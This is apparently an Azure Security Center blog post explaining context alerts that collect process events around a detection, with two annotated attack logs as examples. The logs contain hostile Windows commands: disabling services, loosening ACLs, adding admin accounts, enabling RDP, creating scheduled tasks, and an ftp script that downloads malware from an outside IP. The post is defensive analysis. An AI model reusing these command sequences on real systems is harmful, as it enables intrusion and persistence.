In two recent articles Greg Cottingham and Jessen Kurien described investigation processes triggered by a security alert. If you haven't already done so, please read “How Azure Security Center helps reveal a Cyberattack” and “How Azure Security Center detects a Bitcoin mining attack.” This post will make a lot more sense if you've read them. In these articles, the authors describe how background information from logs helped to provide a deeper understanding of the attack. Once understood, an appropriate set of remediation actions could be identified to block the security intrusion and prevent similar incidents reoccurring.
This kind of investigation process is often difficult for customers to replicate. It requires a lot of expertise to know what to look for. Most companies don’t have security experts like Greg and Jessen on their payrolls, and from all reports, they are very expensive to hire! The process is also time-consuming, often needing hours or even days of following hints, crafting and tweaking queries, and interpreting data in order to pinpoint the attacker’s activity.
To try to address this, we recently deployed a new type of alert. This alert automates some aspects of security investigation work and tries to deliver more relevant context to the customer about what else was happening on the system during and immediately before the attack. The context gathering is triggered whenever a security detection alert is reported. If any relevant context is found, it is reported in a follow-up “suspicious behavior” alert.
Example from Azure Security Portal
Let’s review one of these alerts to get a feel for what they contain and how they can help you get a fuller picture of the context surrounding a security alert. The context alerts have the snappy title, “Potentially suspect behavior reported as extra context for other alerts.”
The context alert shown above has been annotated with some explanation. It is showing the result of three separate context queries compiled into a time-ordered list of potentially interesting events near the time of the original alert.
Although we present the event data in summarized form, you may find it easier to see what is going on if you copy the contents of the CONTEXTEVENTACTIVITY field and paste into a text editor. For most process execution events you will see the following items in each line, the time that the process was run, process name, process command line, repetition times or count, and report category, typically "UnusualProcess" or "RDPLogon". The repetition field tells you if an identical event was repeated at a different time; if there are three or fewer repetitions the times are recorded, if more than 3 a simple count of repetitions is included.
Only a minority of alerts result in a context report. This is because we are explicitly looking for suspicious behavior and don’t create a report if we don’t find any. The types of behavior that we look for are unusual commands being executed and unusual patterns of execution. These are usually not sufficiently suspicious to trigger an alert in themselves but, in the context of a positive alert from one of our security detections, they can provide important corroborating evidence. When viewed alongside the originating alert they can give you a much fuller picture of what was happening during the attack.
How does it work?
As note earlier, when Azure Security Center alerts on a new detection the context service is triggered to try to answer some of the same questions a human investigator would ask about the alert. For example, "Were any other unusual processes run in this logon session?" or "Who recently logged on to this virtual machine?” Different data sources and jobs are chosen depending on the type of alert and the data items available in the alert. For example, if the alert contains user account details, we might use that to look up what else that was run in the same account session around the time of the alert. Any relevant data from these queries is output as a Suspicious Behavior context alert in Azure Security Center.
Case studies
Here is an example like the attack seen in Greg's earlier post. The context report was triggered by the alert “Detected suspicious use of Cacls to lower the security state of the system.” The resulting context report combines output from three different context jobs into a time-ordered set of events. Note that I’ve stripped out some of the detail to reduce repetition and make it easier to read.
Alert Description: "Related alert (dated 2017-04-21 09:37:47Z). 4 items in report (Unusual processes executed, RDP Logons, Supplemental processes executed, Unusual multi-processes commandline execution)",
ContextEventActivity:
00:47:44Z xxxxxxUser 175.143.245.210 (RDPLogon)
09:37:26Z "C:windowssystem32ftp.exe" -s:C:WINDOWSsystem32us.dat
09:37:32Z ftp -s:xpoffice.exe
09:37:32Z ftp -s:c:RECYCLERxpoffice.exe
09:37:33Z ftp -s:c:xpoffice.exe
09:37:45Z "C:WindowsSystem32net.exe" stop CryptSvc
09:37:45Z "C:WindowsSystem32regsvr32.exe" urlmon.dll shdocvw.dll jscript.dll vbscript.dll /s
09:37:45Z "C:WindowsSystem32cacls.exe" C:Windowssystem32wscript.exe /e /t /g SYSTEM:F
[removed some items for brevity]…
09:37:46Z "C:WindowsSystem32cacls.exe" C:Windowssystem32cscript.exe /e /t /g SYSTEM:F
09:37:46Z "C:WindowsSystem32cacls.exe" C:Windowssystem32iasias.mdb /e /t /g SYSTEM:F
09:37:46Z "C:WindowsSystem32net.exe" localgroup administrators abai$/add
09:37:46Z "C:WindowsSystem32net.exe" user www.401hk.com Www.401hk.com$
09:37:46Z "C:WindowsSystem32net.exe" user www.401hk.com/active:yes
09:37:46Z "C:WindowsSystem32reg.exe" ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"
[Report truncated…maximum number of items exceeded]
While not every event list may be related to the attack, in the above event trace we can see the following activities:
An RDP logon that in this case probably unrelated.
Unusual execution of scripted FTP commands.
Shutting down the Windows Crypto service.
Registration of scripting DLLs. These are not typically registered on a server, but are obviously needed by the attack.
Setting permissions on cscript and wscript executables.
Creating new user accounts.
Removing restrictions from Terminal Services (RDP) logons.
Sadly, at this point we run out of space to follow the full extent of the attack, but even from this snippet of 30 items, minus the ones deleted to save space, it is fairly clear that something unusual and unwanted is going on. A further final clue is the timing of these events. A whole series of otherwise unrelated processes executed within the same minute is a clear sign of a scripted attack.
This is another interesting variant of a similar attack pattern, with expletives edited out, based on an Unusual process execution detected alert.
11:44:09Z "C:WindowsSystem32regini.exe" c:windowssystem3225run.ini
11:44:09Z "C:WindowsSystem32regini.exe" c:windowssystem3225runq.ini
11:44:16Z "C:WindowsSystem32SecEdit.exe" /configure /cfg "C:WINDOWSsystem32NewAuto.inf" /db newdb.sdb /log logfile.txt /areas REGKEYS FILESTORE
11:44:16Z "C:WindowsSystem32SecEdit.exe" /configure /db secedit.sdb /cfg NewAuto.inf
11:44:16Z "C:WindowsSystem32SecEdit.exe" /configure /db secedit.sdb /cfg F***Gothin.inf
11:44:28Z "C:WindowsSystem32cacls.exe" cmd.exe /e /t /g system:f
11:44:28Z "C:WindowsSystem32cacls.exe" ftp.exe /e /t /g system:f
11:44:29Z "C:WindowsSystem32cacls.exe" net.exe /e /t /g system:f
11:44:29Z "C:WindowsSystem32cacls.exe" net1.exe /e /t /g system:f
11:44:29Z "C:WindowsSystem32cacls.exe" wscript.exe /e /t /g system:f
11:44:29Z "C:WindowsSystem32cacls.exe" cscript.exe /e /t /g system:f
11:44:49Z "C:WindowsSystem32net.exe" stop CryptSvc
11:44:50Z "C:WindowsSystem32regsvr32.exe" urlmon.dll shdocvw.dll jscript.dll vbscript.dll /s [Repeats: 11:44:50.82]
11:45:01Z "C:WindowsSystem32ftp.exe" -s:C:MG05.dll
11:45:02Z "C:WindowsSystem32schtasks.exe" /create /tn "45645" /tr "c:Ttqlhcjntzllto.exe" /sc minute /mo 1 /ru "system
11:45:03Z "C:Windowssystem32cmd.exe" /c net1 stop sharedaccess&echo open 222.184.79.11 > MG06.dll&echo mix>> MG06.dll&echo mix>> MG06.dll&echo binary >> MG06.dll&echo get Ttqlhcjntzllto.exe >> MG06.dll&echo bye >> MG06.dll&ftp -s:MG06.dll&p -s:MG06.dll&Ttqlhc….
11:45:03Z ftp -s:MG06.dll
This shows using regini.exe to perform bulk registry edits, using secedit.exe to change system security, and creating a scheduled to task, most likely to secure a permanent foothold on the machine. The last two lines show using cmd.exe redirection to create an ftp script and then executing the script to download a piece of malware, Ttqlhcjntzllto.exe. In the previous line, third from last, this executable is installed as a scheduled task. Although this appears to be out-of-order, this is because attack scripts are often run repeatedly to give them better chance of completing successfully so we're probably seeing a snapshot containing the beginning and end of two executions of this script.
What’s next
Although these reports already provide valuable context for an alert we will continue to refine this, expanding the kinds of data included and working on ways to make the output smarter.
To learn more
See other blog posts with real-world examples of how Azure Security Center helps detect cyberattacks — How Azure Security Center helps reveal a Cyberattack and How Azure Security Center detects a Bitcoin mining attack.
Azure Security Center detection capabilities — Learn about Azure Security Center’s advanced detection capabilities.
Managing and responding to security alerts in Azure Security Center — Learn how to manage and respond to security alerts.
Azure Security Center FAQ — Find frequently asked questions about using the service.
Quelle: Azure
